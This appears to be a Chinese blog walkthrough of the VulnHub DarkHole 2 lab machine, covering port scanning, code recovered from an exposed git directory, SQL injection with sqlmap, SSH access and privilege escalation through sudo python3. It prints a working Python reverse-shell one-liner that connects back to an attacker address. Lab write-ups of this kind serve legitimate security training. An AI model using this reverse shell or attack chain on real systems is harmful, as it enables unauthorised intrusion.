DarkHole: 2 vulnhub walkthrough

DarkHole 2 渗透测试实战指南
本文详细介绍了在VulnHub上的DarkHole 2靶场进行渗透测试的过程。从主机和端口发现开始,通过访问Web服务、尝试目录爆破、利用git目录提取代码,然后通过SQL注入获取用户名和密码,接着使用sqlmap自动化工具。成功登录后,发现进程并利用其创建一句话shell,进一步提升权限到root,最终获取到root权限的flag。

下载地址:

https://www.vulnhub.com/entry/darkhole-2,740/

主机和端口发现:

➜  ~ nmap -sn 192.168.143.0/24
Host is up (0.00010s latency).
Nmap scan report for 192.168.143.206

➜  ~ nmap -T4 -v -p- 192.168.143.206
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

访问web服务,有一个登录页面:

login

尝试注入失败,于是dirb爆破一下目录:

dirb

发现了git目录,于是使用git_extract提取目标代码,首先查看login.php

<?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
    if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
        $_SESSION['userid'] = 1;
        header("location:dashboard.php");
        die();
    }

}
?>

获取用户名和密码后登录,发现一处注入点。

sqlinject

直接使用sqlmap进行自动化注入,需要注意的是需要cookie,在ssh表中得到了用户名和密码:

+--------+------+
| user   | pass |
+--------+------+
| jehad  | fool |
+--------+------+

ssh登录,进入/home/losy,获取到用户flag。

jehad@darkhole:/home/losy$ cat user.txt
DarkHole{'This_is_the_life_man_better_than_a_cruise'}

查看进程,发现一个进程。

localphp

查看后是本地写了一个一句话shell,利用它反弹一个用户losy的shell,这里使用python反弹shell。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.143.135",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

进行url编码后作为cmd输入,成功切换到用户losy

losy

查看.bash_history,获取losy用户密码gang

password

查看sudo,发现可以运行python3,成功获取root。

root

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值